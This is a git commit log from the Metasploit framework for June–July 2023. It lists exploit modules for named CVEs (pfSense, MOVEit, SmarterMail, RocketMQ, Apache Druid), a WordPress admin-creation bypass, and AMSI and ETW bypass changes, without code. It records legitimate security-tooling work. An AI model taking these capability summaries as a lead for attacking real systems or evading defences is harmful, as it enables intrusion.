rodnt 1e75365f8e Update with all changes proposed by smcintyre-r7 2023-07-13 23:38:55 +00:00
Metasploit 7bebee0f42 Bump version of framework to 6.3.26 2023-07-13 12:13:12 -05:00
rodnt 3f0d0ee34c Merge branch 'rapid7:master' into piwigo_cve_26876 2023-07-13 09:59:43 -03:00
rodnt fb8947aa49 change the comment at mysql image 2023-07-13 12:58:30 +00:00
rodnt 4dc6e59fa3 bwatters-r7 suggestions were applied. 2023-07-13 12:51:34 +00:00
Metasploit 7950db3358 automatic module_metadata_base.json update 2023-07-12 13:53:26 -05:00
101719434+rodnt@users.noreply.github.com 5b638bb37b add module and doc for cve-2023-26876 2023-07-12 15:45:40 -03:00
Jack Heysel 10c1b79c37 Land #17861, pfSense Config Data RCE as root
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
2023-07-12 14:32:06 -04:00
emirpolatt 34f25fbb65 pfSense Config Data Remote Command Execution as root (CVE-2023-27253) Module 2023-07-12 13:27:02 -04:00
adfoster-r7 6b06b77b5a Land #18181, Change dead links to live links, in documents 2023-07-12 17:57:05 +01:00
hahwul 3236aaf6c3 Change dead links to live links, in documents 2023-07-13 01:06:34 +09:00
h00die e6f4f441c5 apache supserset exploit 2023-07-11 15:21:39 -04:00
h00die 3d3e2a9e2d apache supserset exploit 2023-07-11 15:19:33 -04:00
Guilhem7 a9a6b03979 Update modules/exploits/multi/php/jorani_path_trav.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-07-11 09:28:20 +02:00
Guilhem7 56619e6da3 Update modules/exploits/multi/php/jorani_path_trav.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-07-11 09:28:14 +02:00
Guilhem7 8d08a2a144 Update modules/exploits/multi/php/jorani_path_trav.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-07-11 09:28:05 +02:00
Metasploit 27638d7409 automatic module_metadata_base.json update 2023-07-10 18:19:51 -05:00
adfoster-r7 5cb5c18550 Land #18170, Add module for SmarterMail Build 6985 - dotNET Deserialization Remote Code Execution (CVE-2019-7214) 2023-07-10 23:56:09 +01:00
Metasploit 917adffb83 automatic module_metadata_base.json update 2023-07-10 17:46:41 -05:00
Jack Heysel bd004e0831 Land #18178, update refence format entry
This PR updates a reference on exploit/windows/smb/ms08_067_netapi
to the new URL format.
2023-07-10 18:19:52 -04:00
Jeffrey Martin 3635ce9c03 update reference format for entry in rapid7.com 2023-07-10 16:54:42 -05:00
Jack Heysel 420147d02e Land #18164, WooCommerce Payments auxiliary module
This module exploits an auth bypass and priv esc vulnerability
in order to create an admin wordpress user.
2023-07-10 17:19:56 -04:00
jheysel-r7 5261d842bc Update documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md 2023-07-10 14:18:50 -04:00
adfoster-r7 c3a0b0b1cb Land #18177, update the wiki to use https instead of http 2023-07-10 10:46:29 +01:00
ismaildawoodjee 025b37ce62 Replace other stale http:// links with https:// 2023-07-10 03:29:08 -04:00
h00die d6911f6b13 add new api endpoint, and checks for multiple versions 2023-07-09 19:48:16 -04:00
ismaildawoodjee 2aea7b2fda Change exploit template comment header from http to https for Msftidy
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR #18170, commit hash ad0d3e79, where Msftidy lint test fails
* to pass, but in the next commit 591fee18, the test passes.
2023-07-09 15:56:08 -04:00
Ismail Dawoodjee 0a9af48662 Merge branch 'rapid7:master' into smartermail_rce 2023-07-09 17:48:49 +03:00
h00die-gr3y c34779a5f1 updates based on comments of jvoisin and adfoster-r7 2023-07-09 12:20:58 +00:00
ismaildawoodjee e61342afac Proper error handling for closing TCP socket and used Rex exceptions 2023-07-09 07:25:09 -04:00
h00die-gr3y a3ea55f2a6 added documentation 2023-07-08 12:30:54 +00:00
h00die-gr3y 8edbf73b6f first release exploit module 2023-07-08 09:48:17 +00:00
Guilhem RIOUX e274b96a13 Updating documentation 2023-07-08 07:29:38 +02:00
adfoster-r7 b04ff3c579 Land #18172, Tidy up capture plugin specs 2023-07-07 17:12:21 +01:00
Rory McKinley 5974801e14 Tidy up plugin specs 2023-07-07 17:14:29 +02:00
ismaildawoodjee 1706812099 Implemented requested changes
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket

* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
  for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
2023-07-07 04:14:20 -04:00
Metasploit a0bdbce3c9 Bump version of framework to 6.3.25 2023-07-06 17:49:06 -05:00
Jeffrey Martin 00095fa495 update Pro version docs for 4.22.1 release 2023-07-06 15:02:56 -05:00
Grant Willcox 56cba64e4a Land #18169, Add centralized Metasploit plugin documentation 2023-07-06 14:11:51 -05:00
Grant Willcox d16f38a59c Add command syntax for captureg command reference 2023-07-06 13:14:49 -05:00
Grant Willcox 914818d372 Remove extra character from thread description. 2023-07-06 13:14:14 -05:00
adfoster-r7 bfcd5d0466 Add centralized Metasploit plugin documentation 2023-07-06 19:00:33 +01:00
Ismail Dawoodjee f959dee046 Change module name
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:50:44 +03:00
Ismail Dawoodjee 24ef4e1b90 Update documentation/modules/exploit/windows/http/smartermail_rce.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-07-06 18:49:49 +03:00
Grant Willcox 81cf6c2a09 Fix up credential storing code 2023-07-06 10:43:20 -05:00
ismaildawoodjee 591fee1850 Fix msftidy complaining about https:// URL scheme in Line 2 2023-07-06 11:01:54 -04:00
Grant Willcox c3aefe577b Fix url_root loop code and user creation code 2023-07-06 09:36:19 -05:00
ismaildawoodjee ad0d3e79a9 SmarterMail RCE module and documentation 2023-07-06 08:00:28 -04:00
h00die 2c2f855e20 working cookies for superset 2023-07-06 07:12:39 -04:00
adfoster-r7 88a539a82c Land #18144, update capture plugin to be more helpful, and add documentation 2023-07-06 11:17:14 +01:00
Metasploit e3bdb7a917 automatic module_metadata_base.json update 2023-07-06 02:31:54 -05:00
Christophe De La Fuente df4a03c79d Land #18082, Apache RocketMQ update config RCE (CVE-2023-33246) 2023-07-06 09:15:03 +02:00
Grant Willcox 3abcb3ebaa Explain ADMINID field more 2023-07-05 13:10:41 -05:00
Grant Willcox ce19ce5b72 Apply fixes from review 2023-07-05 12:24:51 -05:00
adfoster-r7 00aa2e63a0 Land #18166, Handle nil error when creating adapted payloads 2023-07-05 18:07:12 +01:00
Jack Heysel f1b5cd46f4 Apache RocketMQ update config RCE 2023-07-05 12:38:51 -04:00
Metasploit 83dc8e9012 automatic module_metadata_base.json update 2023-07-05 11:36:32 -05:00
Dean Welch d452f49f09 Handle nil error when creating adapted payloads 2023-07-05 17:28:05 +01:00
Christophe De La Fuente ae48236d07 Land #18122, rocketmq version lib 2023-07-05 18:11:25 +02:00
Grant Willcox da6cdd1d5b Fix up datastore setting code 2023-07-05 10:55:14 -05:00
jheysel-r7 53a761a13d Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-07-05 11:13:08 -04:00
h00die f77e7db637 woocommerce payments auth bypass 2023-07-04 13:09:27 -04:00
h00die 8d686e5a28 woocommerce payments auth bypass 2023-07-04 13:06:27 -04:00
h00die 375a315b3d woocommerce payments auth bypass 2023-07-04 13:05:07 -04:00
h00die 62775e0749 fix spec 2023-07-02 13:10:43 -04:00
h00die c9249fd9b7 basics 2023-07-02 12:37:58 -04:00
Grant Willcox 3ab7b3ddc7 Add in autocheck and expand check logic for Windows 11 targets 2023-06-30 16:41:03 -05:00
Grant Willcox 17ffd4e0f6 Add in description about why versions after 22000.194 aren't affected 2023-06-30 16:40:53 -05:00
Wrathdemon 7870bfe94e fix #15890: Support Windows 11 in Capcom.sys LPE Module 2023-06-30 16:40:43 -05:00
Grant Willcox d97c0fc8f7 Land #18153, Remove Ruby 2.7 from Github actions
Ruby 2.7 has been EOL'd for 3 months now and is no longer supported.
2023-06-30 15:38:16 -05:00
adfoster-r7 d968d92e53 Remove Ruby 2.7 from Github actions 2023-06-30 14:10:07 +01:00
cgranleese-r7 badb710940 Land #18152, Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 14:07:07 +01:00
adfoster-r7 fa0e53775f Update PHP Meterpreter to correctly show file sizes for large files 2023-06-30 10:22:13 +01:00
Metasploit dfbd14ea5b automatic module_metadata_base.json update 2023-06-29 17:43:57 -05:00
Grant Willcox 859ff288fc Land #18147, Add Ruby 3.3.0-preview1 to test suite 2023-06-29 17:20:24 -05:00
adfoster-r7 085943bd78 Add Ruby 3.3.0-preview1 to test suite 2023-06-29 22:53:17 +01:00
Jack Heysel cc1b7db773 Method documentation comments 2023-06-29 15:52:03 -04:00
jheysel-r7 35f5b19512 Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-06-29 15:23:27 -04:00
Metasploit 1426a5c12e Bump version of framework to 6.3.24 2023-06-29 12:18:27 -05:00
Rory McKinley 1dff3e5e26 Copy blog post about capture plugin to docs 2023-06-29 14:58:37 +02:00
dwelch-r7 028660384a Land #18146, Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 13:27:57 +01:00
adfoster-r7 50c675cc90 Fix windows Meterpreter clipboard manipulation access denied errors 2023-06-29 00:00:48 +01:00
adfoster-r7 0c8dff1ab0 Land #17901, Add lazy loading for payloads on startup 2023-06-28 23:12:12 +01:00
Metasploit 0aa0bbadd6 automatic module_metadata_base.json update 2023-06-28 13:06:39 -05:00
Spencer McIntyre 740fe5f6c9 Land #18133, Dotnet signature fix
The signature of the .NET executable will now be automatically
determined based on the .NET executable and not the parameters provided
to the module.
2023-06-28 13:50:26 -04:00
Rory McKinley a967815397 Remove reliance on deprecated print_* methods 2023-06-28 17:56:57 +02:00
Rory McKinley 795fae2b81 Tweak help output to provide more detail 2023-06-28 16:52:07 +02:00
Guilhem RIOUX 068a81a638 First remove the check after the triggering payload as it is not reliable. Adding the documentation after checking it with the dev tool 2023-06-28 08:53:50 +02:00
Ashley Donaldson 6772740f86 Fix bug in HostingCLR relating to the first argument passed to a dotnet assembly. 2023-06-28 09:24:33 +10:00
Ashley Donaldson afe359281c Remove manual signature handling, and figure it out for the user. 2023-06-28 09:22:01 +10:00
jheysel-r7 ce2629d4e1 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:36 -04:00
jheysel-r7 3e4b62a240 Update spec/lib/msf/core/auxiliary/rocketmq_spec.rb 2023-06-27 16:53:13 -04:00
jheysel-r7 f86f9c0440 Update lib/msf/core/auxiliary/rocketmq.rb
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-06-27 16:39:16 -04:00
Grant Willcox 1b7e1343f8 Fix up some points noted during review 2023-06-27 11:32:44 -05:00
Grant Willcox c11dd0efc4 Fix up RuboCop errors 2023-06-27 11:23:41 -05:00
dwelch-r7 36e0d8f915 Land #18121, Add proper SubjectAltName parsing 2023-06-27 16:54:33 +01:00
Guilhem RIOUX 8cae031d97 update after rubocop and advice 2023-06-27 16:08:55 +02:00
Metasploit 3e999a1dc5 automatic module_metadata_base.json update 2023-06-27 08:48:05 -05:00
Spencer McIntyre 67f7a33d77 Land #18114, .NET assembly execution enhancements
Allow .NET assembly execution within the meterpreter process
2023-06-27 09:32:43 -04:00
Spencer McIntyre 767b22f7ef Recompile the DLL 2023-06-27 09:31:24 -04:00
Spencer McIntyre df0f7de098 Fix an ARGUMENT handling error
`datastore['ARGUMENT']` can be `nil` when it's been unset. Avoid an
error when appending it to cln_params by checking that it's present.
2023-06-27 09:29:59 -04:00
Ashley Donaldson 0d0906840e Fix memory protection bug 2023-06-27 09:59:52 +10:00
Metasploit fb6ecdd2ab automatic module_metadata_base.json update 2023-06-26 16:46:43 -05:00
Spencer McIntyre 7da9ea07aa Land #17796, AWS EC2 enum: implement reporting 2023-06-26 17:31:38 -04:00
Spencer McIntyre fd89ac6893 Fix REGION related issues
Fixes hanging when REGION is invalid. Fixes a stack trace when REGION is
an empty string.
2023-06-26 17:18:13 -04:00
Joshua Rogers 1e7af0457a Update jenkins_gather.md
Change Windows default to C:\ProgramData\Jenkins\.jenkins.
2023-06-26 21:29:27 +02:00
Joshua Rogers cac515b8db Update jenkins_gather.rb
Change the default Windows location to C:\ProgramData\Jenkins\.jenkins\.
2023-06-26 21:27:59 +02:00
Jack Heysel 46629ca1d2 responded to comments 2023-06-26 14:01:12 -04:00
Grant Willcox def6d644cc Land #18141, Remove flakey redundant test 2023-06-26 12:36:32 -05:00
Dean Welch df5b26ea3a Remove flaky redundant test 2023-06-26 16:32:41 +01:00
Ashley Donaldson 65a4dd3c39 Change ETW bypass method, so that CLR memory can be freed.
Fixed a crash and broken logic in hosting clr code.
2023-06-26 09:54:00 +10:00
Ashley Donaldson 624643be4a Catch errors and give meaningful error messages 2023-06-25 22:12:22 +10:00
RageLtMan 60523c0f9b Apply @smcintyre-r7's logic fix
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-06-23 18:48:21 -04:00
Metasploit 0f593d881c automatic module_metadata_base.json update 2023-06-23 16:17:47 -05:00
Jack Heysel bf1e6bddd1 Land #18134, Add exploit for CVE-2023-25194
This exploits a Java deserialization vulnerbility
in Apache Druid which arises from a JNDI injection
within Apache Kafka clients.
2023-06-23 16:52:04 -04:00
Grant Willcox da34476a91 Land #17959, rescue login scanner attempts 2023-06-23 14:49:26 -05:00
Grant Willcox f48dadff62 Land #18139, Fix windows python meterpreter getuid intermittent crash 2023-06-23 12:02:37 -05:00
adfoster-r7 7aa1dafc1f Fix windows python meterpreter getuid intermittent crash 2023-06-23 15:30:02 +01:00
Metasploit f641d64f2f automatic module_metadata_base.json update 2023-06-23 05:07:35 -05:00
dwelch-r7 d68eb84334 Land #18065, Updates jenkins_gather module to work with newer version of Jenkins 2023-06-23 10:44:06 +01:00
cgranleese-r7 9176d0d3e0 Updates jenkins_gather to work with newer version of Jenkins 2023-06-23 10:02:03 +01:00
Heyder Andrade b026b38851 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-06-23 09:36:50 +02:00
Ashley Donaldson 977f8732c6 Fix cleanup code.
The _AppDomainPtr, _AssemblyPtr and _MethodInfoPtr variables are COM smart pointers which will auto-Release() when they go out of scope, so we should not directly Release() them.
2023-06-23 14:01:45 +10:00
Ashley Donaldson a7ce4c7fa8 Free memory from the C++ side, rather than the Ruby side. 2023-06-23 09:57:53 +10:00
Metasploit 0f65368866 Bump version of framework to 6.3.23 2023-06-22 15:51:18 -05:00
Metasploit 5157897412 automatic module_metadata_base.json update 2023-06-22 13:39:14 -05:00
Spencer McIntyre b5e028b47c Land #18100, Add MOVEit CVE-2023-34362 2023-06-22 14:23:44 -04:00
Spencer McIntyre dfd450561e Tweak some messages and cleanup markdown table 2023-06-22 14:23:25 -04:00
bwatters a05bde217c Ensure any users we create are deleted 2023-06-22 12:18:07 -05:00
Jack Heysel 4c73067dfe Land #18104, fix falsely caused empty file reads
This issue was happening frequently with the java metepreter.
The issue has been fixed and tested with test/file post module.
2023-06-22 13:07:19 -04:00
Redwaysecurity.com 77bb6759a6 Review suggestions 2023-06-22 18:12:13 +02:00
bwatters 5f667e1d79 Address code review 2023-06-22 10:22:43 -05:00
bwatters a2c2a9193f Update error catching logic 2023-06-22 08:27:44 -05:00
Metasploit 5b9f22181a automatic module_metadata_base.json update 2023-06-22 08:18:59 -05:00
dwelch-r7 e298788a28 Land #18049, Update jenkins login scanner to work with newer versions 2023-06-22 14:04:24 +01:00
Redwaysecurity.com e2fc3c5eff Fixed documentation offenses 2023-06-22 14:48:16 +02:00
Redwaysecurity.com a8332e6064 Added exploit for CVE-2023-25194 2023-06-22 14:17:32 +02:00
cgranleese-r7 ace4c45c5d Land #18118, Update UA strings for June 2023 2023-06-22 12:31:09 +01:00
Ashley Donaldson 461240639c Check PID validity before getting its bitness 2023-06-22 16:05:48 +10:00
Jack Heysel 64b441be2a Rspec tests, get_broker_port addition 2023-06-22 01:29:33 -04:00
Metasploit 83e65b0ea3 automatic module_metadata_base.json update 2023-06-21 18:17:35 -05:00
Jack Heysel 969b5cd044 Land #18132, this PR reverts #17942
The AMSI bypass improvements in #17942 for new versions of windows
broke psexec. This PR reverts the issue.
2023-06-21 18:49:47 -04:00
Jeffrey Martin 1b562dd02b Revert "Improve AMSI bypass on new Windows"
This reverts commit f97ab80224, reversing
changes made to c8f942cc03.

This change impacted the default `psexec` powershell target and needs further
testing to be reintroduced.
2023-06-21 16:35:41 -05:00
bwatters 2adea08f67 Add documentation & code cleanup 2023-06-21 15:41:50 -05:00
Metasploit 889407354a automatic module_metadata_base.json update 2023-06-21 13:57:04 -05:00
Spencer McIntyre 7cff25e639 Land #18117, Consider Windows 10 Revision
Consider Windows 10 Revision number in version module
2023-06-21 14:32:59 -04:00
bwatters 52907ac794 Add space limitation 2023-06-21 12:56:59 -05:00
bwatters 10c6e6328f Add user cleanup and update error handling 2023-06-21 12:00:34 -05:00
bwatters 9d16b0043b Add check method 2023-06-21 11:26:04 -05:00
Spencer McIntyre ea1641df85 Land #17576, Update tag handling
Update add_host_tag and delete_host_tag to properly handle tagging multiple hosts and then deleting these tags
2023-06-21 11:49:11 -04:00
Grant Willcox cd00585e12 Support properly handling tagging multiple hosts and then deleting those tags.
This involves updating add_host_tag and delete_host_tag and performing some refactoring.
2023-06-21 09:31:55 -05:00
bwatters 957339b3c0 Simplify output 2023-06-21 08:34:02 -05:00
cgranleese-r7 0609d246f3 adds more future proofing to implementation 2023-06-21 14:19:24 +01:00
Ashley Donaldson 6e438d338e Modify execute_dotnet_assembly to run in existing processes (including our own process) and receive output. 2023-06-21 12:04:09 +10:00
bwatters d63c14dc17 Ugly, but working 2023-06-20 20:06:57 -05:00
Jack Heysel 40bd729957 Land #18129, Update metasploit-payloads gem
This PR bumps the metasploit-payloads gem to
version 2.0.143
2023-06-20 17:07:52 -04:00
Spencer McIntyre 5d96b23d19 Update metasploit-payloads gem to 2.0.143
Includes changes from:
* rapid7/metasploit-payloads#662
* rapid7/metasploit-payloads#660
2023-06-20 15:14:18 -04:00
cgranleese-r7 5611780d81 Land #18127, Add railgun reverse lookup tests for osx and linux 2023-06-20 14:27:29 +01:00
cgranleese-r7 b1d437dfe6 Land #18126, Add additional logging to post test file 2023-06-20 14:26:14 +01:00
Jack Heysel 965a758b48 Land #18124, Fixes the broken test/extapi module. 2023-06-19 18:42:13 -04:00
adfoster-r7 c535d8081f Add railgun reverse lookup tests for osx and linux 2023-06-19 16:30:26 +01:00
adfoster-r7 2ac257bcef Add additional logging to post test file 2023-06-19 16:11:43 +01:00
adfoster-r7 f9b5ea75bc Fix broken post test extapi tests 2023-06-19 14:11:29 +01:00
Guilhem RIOUX 784f76b355 update after rubocop 2023-06-19 14:31:23 +02:00
usiegl00 1c5b88c59f Update CachedSize for Mettle 2023-06-19 12:23:40 +02:00
usiegl00 7e3e30f9d0 Bump Mettle Version 2023-06-19 11:56:52 +02:00
usiegl00 22101f15cc Update Aarch64 Payloads for RuboCop
Use msftidy to fix the rubocop errors.
2023-06-19 11:20:23 +02:00
usiegl00 b8068bc781 Cleanup for Sonoma Dyld
This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 0415565396 Fix for Ventura Dyld
This adds support for the dyld changes incorperated into Ventura which
includes changes to the symbols used. This does not break compatibility
with previous versions.
2023-06-19 10:57:37 +02:00
usiegl00 44762f18e8 Increase Stack Space for Loader
This increases the stack stack space mmap'd for the 2nd stage loader and
should fix the invalid stack memory access crash on the staged payload.
2023-06-19 10:57:37 +02:00
usiegl00 e70bdb028a Basic MachO Signing
This commit adds the sign method to Payload::MachO which performs a
basic SHA256 signature update on the provided macho to enable it to run
under osx aarch64 systems.
2023-06-19 10:57:37 +02:00
usiegl00 658c87996d Hotwire MachO Signing
This commit hotwires in executable signing to some of the aarch64 osx
payloads in order to ensure that they are fully functional.
2023-06-19 10:57:37 +02:00
usiegl00 8a5442f7f0 Fix AARCH64 MachO Generation
This updates the exe util to properly generate stageless aarch64 macho
payloads. I've also added comments on how to assemble the aarch64
stages.
2023-06-19 10:57:37 +02:00
usiegl00 8c4c260911 Mettle now supports aarch64-apple-darwin
This bumps the metasploit_payloads-mettle version to enable the new
target triple.
2023-06-19 10:57:37 +02:00
usiegl00 5f8767f4cf M1ssion Dyld Mettle: Aarch64 Payloads
This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
2023-06-19 10:57:37 +02:00
Guilhem RIOUX 8d7dc7ae26 Add exploit for unauth RCE Jorani 2023-06-19 06:16:07 +02:00
Ashley Donaldson 2a3cac051f Suggestion from code review 2023-06-19 07:53:46 +10:00
h00die e49e70ce93 update rocketmq tests 2023-06-16 16:26:35 -04:00
h00die 67225650de convert _ to . 2023-06-16 16:13:36 -04:00
h00die 4f661ff230 rocketmq version lib 2023-06-16 15:36:06 -04:00
Spencer McIntyre 0ca978fe9d Return arrays of values where applicable
Return arrays of values where applicable and update method docs.
2023-06-16 12:19:11 -04:00
Spencer McIntyre 44ffafcf62 Add more unit tests 2023-06-16 11:48:43 -04:00
Spencer McIntyre 2d800be5b1 Read the ORAddress definition
Note that there's a known issue that needs the changes from
sdaubert/rasn1#37 to work.
2023-06-16 11:48:36 -04:00
dwelch-r7 9ef9f98894 Land #18119, Add support for only running user specified test names 2023-06-16 13:27:31 +01:00
Dean Welch 8527eea15d Add lazy loading for payloads 2023-06-16 12:04:48 +00:00
adfoster-r7 92c15f8a6a Add support for only running user specified test names 2023-06-16 11:00:38 +01:00
Ashley Donaldson 5832685f5e Update UA strings for June 2023 2023-06-16 11:32:37 +10:00
Ashley Donaldson 8b91d729c4 Update tests 2023-06-16 11:29:31 +10:00
Ashley Donaldson 381d291da9 Use revision in MSF modules 2023-06-16 10:07:35 +10:00
Ashley Donaldson ddbd24554d Take into account Windows 10 revision number 2023-06-16 06:50:39 +10:00
Spencer McIntyre 16ef8c4eaa Add a basic spec for the x509 SAN definition 2023-06-15 15:57:10 -04:00
Spencer McIntyre 9e8a8d7c25 Remove our BMPString definition
It was added in https://github.com/sdaubert/rasn1/pull/33 and is present
in RASN 0.12.1.
2023-06-15 15:57:10 -04:00
Spencer McIntyre 0555b4ada0 Add SAN parsing with a proper ASN.1 definition
The ORAddress field is left out because it's significantly more
complicated than the rest and doesn't appear to be necessary at this
time.
2023-06-15 15:57:02 -04:00
Spencer McIntyre 39c9355715 Add additional string primitives 2023-06-15 15:51:14 -04:00
adfoster-r7 50832bef97 Land #18094, Fix an edge case in .to_win32pe 2023-06-15 20:39:07 +01:00
space-r7 9776a6eb4a Land #18078, add SID support for icpr_cert
pulls in latest changes
2023-06-15 13:39:31 -05:00
space-r7 a31a3513c1 resolve docs conflict 2023-06-15 13:36:21 -05:00
space-r7 5b77805d68 Land #18078, add support for SID in icpr_cert 2023-06-15 13:17:09 -05:00
Metasploit ea34db64af Bump version of framework to 6.3.22 2023-06-15 12:15:30 -05:00
Jack Heysel f014033321 Land #18054, Fix info command IP address issue
This PR fixes the issue where an ArgumentError was thrown
when running the info command when using a fetch payload
2023-06-15 11:51:16 -04:00
Metasploit c168890902 automatic module_metadata_base.json update 2023-06-15 09:28:15 -05:00
bwatters 03d59ba4e7 Land # 18084, Add x86 Linux Fetch Payloads
Merge branch 'land-18084' into upstream-master
2023-06-15 09:04:22 -05:00
bwatters 63abeb331d Remove default value 2023-06-15 08:46:45 -05:00
bwatters d5a986a4bc Fix copy/pasta 2023-06-15 08:34:30 -05:00
dwelch-r7 cee72a81e3 Land #18110, Add namespaced test module logging 2023-06-15 14:30:02 +01:00
dwelch-r7 bc61bbaf7f Land #18109, Update test post modules to always have a clean writable file system directory 2023-06-15 14:27:13 +01:00
dwelch-r7 62fd3ec536 Land #18108, Fix flakey post test services module 2023-06-15 13:45:43 +01:00
dwelch-r7 3010b565ce Land #18107, Extract rspec wait for expect helper 2023-06-15 13:42:13 +01:00
dwelch-r7 8da6f1efb9 Land #18105, Fix time command bug when running complex commands 2023-06-15 13:41:16 +01:00
cgranleese-r7 5afba17a79 Land #18115, Update unknown windows errors on python meterpreter to include original error code 2023-06-15 12:52:13 +01:00
cgranleese-r7 c85b017c9e Land #18106, Update SessionTLVLogging to no longer truncate useful values 2023-06-15 12:50:33 +01:00
adfoster-r7 8f11798f5f Update unknown windows errors on python meterpreter to include hex error code 2023-06-15 11:56:32 +01:00
cgranleese-r7 95d05e0e9c Land #18111, Fix initialised constant error when meterpreter registry key reads timeout 2023-06-15 10:23:29 +01:00
adfoster-r7 552b76aa8f Initialize to an empty string 2023-06-15 01:44:42 +01:00
Metasploit e7bbd34e0d automatic module_metadata_base.json update 2023-06-14 17:53:56 -05:00
adfoster-r7 51dc30909a Land #17670, add module to exploit CVE-2019-16328 2023-06-14 23:30:33 +01:00
adfoster-r7 c93adfb697 Land #17781, adds support for module writers to supply include_dir iquote options when compiling mingw 2023-06-14 22:47:10 +01:00
Jack Heysel 2632d33583 Land #18112, fix symlink test bug
This PR fixes a symlink test bug when running
a python meterpreter on windows.
2023-06-14 16:42:53 -04:00
Spencer McIntyre 1823801510 Add some tests for NtdsCaSecurityExt 2023-06-14 16:18:10 -04:00
Spencer McIntyre ae4faca1ba Update module docs to discuss KB5014754 changes 2023-06-14 16:18:04 -04:00
Spencer McIntyre 6988227ee4 Fix AS-REQ with PKINIT and NTDS_CA_SECURITY_EXT 2023-06-14 16:18:04 -04:00
Spencer McIntyre 3ee02a0e41 Add the ALT_SID datastore option 2023-06-14 16:17:58 -04:00
adfoster-r7 2a66987e39 Fix symlink test bug when running python meterpreter on windows 2023-06-14 20:12:05 +01:00
adfoster-r7 bec47e8b59 Fix unitialized constant error when meterpreter registry key reads timeout 2023-06-14 19:50:28 +01:00
adfoster-r7 75d74d2e3c Add namespaced test module logging 2023-06-14 19:35:54 +01:00
adfoster-r7 dc5a42bd7d Update test post modules to always have a clean file system directory 2023-06-14 19:27:19 +01:00
adfoster-r7 5b18475457 Extract rspec wait for expect helper 2023-06-14 19:10:05 +01:00
adfoster-r7 95f30d1f3f Fix flakey post test services module 2023-06-14 18:56:20 +01:00
Jack Heysel 6f297a8619 Land #18102, bump metasploit-payloads 2.0.140
This metasploit-payloads bump is a fix for false negatives
on files not existing on windows python meterpreter
2023-06-14 13:51:27 -04:00
adfoster-r7 69b7635f0f Update SessionTLVLogging to no longer truncate useful values 2023-06-14 18:39:58 +01:00
adfoster-r7 2d87447db7 Fix time command bug when running complex commands 2023-06-14 18:01:47 +01:00
adfoster-r7 fb6bb4031c Fix issue that falsely caused empty file reads on meterpreter 2023-06-14 17:50:54 +01:00
Jeffrey Martin d3fa7608db Land #18103, lock nokogiri due to compile issue 2023-06-14 11:40:08 -05:00
Jeffrey Martin ceb85e08c9 update to latest nokogiri 1.14.x 2023-06-14 11:30:25 -05:00
Jeffrey Martin b2d0cdaa28 lock nokogiri due to compile issue 2023-06-14 11:21:49 -05:00
adfoster-r7 00d1f03b8a Fix false negatives on files not existing on windows python meterpreter 2023-06-14 17:09:06 +01:00
cgranleese-r7 966dec5b03 Land #18101, Fix macOS route command when mac addresses are split by dots 2023-06-14 17:01:32 +01:00
adfoster-r7 793e0887ff Fix osx route command when mac addresses are split by dots 2023-06-14 16:43:51 +01:00
bwatters f5f61ca508 Start of MOVEit port 2023-06-14 10:04:07 -05:00
cgranleese-r7 9187b96756 Land #18099, Fix python meterpreter subprocess deadlock and file descriptor leak 2023-06-14 15:40:10 +01:00
adfoster-r7 b9f260d0f7 Land #18089, Add Masm support 2023-06-14 13:51:41 +01:00
dwelch-r7 de07c2eae2 Land #18098, Fix rex-text crashes when running ruby 3.3 2023-06-14 13:26:02 +01:00
Jeffrey Martin 41429aec97 Land #18080, Weekly dependency updates for Gemfile.lock 2023-06-14 07:16:48 -05:00
adfoster-r7 d6a50acf83 Fix python meterpreter subprocess deadlock and file descriptor leak 2023-06-14 13:10:46 +01:00
dwelch-r7 1b35a9f916 Land #18051, Add appropriate skips to post test modules 2023-06-14 13:06:37 +01:00
adfoster-r7 f30bc86c8a Fix rex-text crashes when running ruby 3.3 2023-06-14 13:04:20 +01:00
cgranleese-r7 fe737b55b9 Land #18097, Fix python meterpreter crashing when extracting osx network configuration 2023-06-14 12:49:10 +01:00
adfoster-r7 d414eea087 Add appropriate skips to post test modules 2023-06-14 12:37:02 +01:00
adfoster-r7 21b2e3a597 Fix python meterpreter crashing when extracting osx network configuration 2023-06-14 12:28:15 +01:00
dwelch-r7 68c48ef984 Land #18050, Add module for running all post test modules 2023-06-14 12:14:57 +01:00
Metasploit 968a151de9 automatic module_metadata_base.json update 2023-06-13 17:37:51 -05:00
Jack Heysel c98cc00de9 Land #18075, RocketMQ version scanner 2023-06-13 18:15:34 -04:00
Jeffrey Martin efd49f07b0 update migration calls in spec
As of Rails 7.0.5 the `migrations_paths` are called once in spec run
2023-06-13 17:15:19 -05:00
space-r7 7af22bfd41 Land #18077, add Symmetricom unauth cmd injection 2023-06-13 17:07:16 -05:00
space-r7 5535401345 add exploit rank 2023-06-13 17:05:30 -05:00
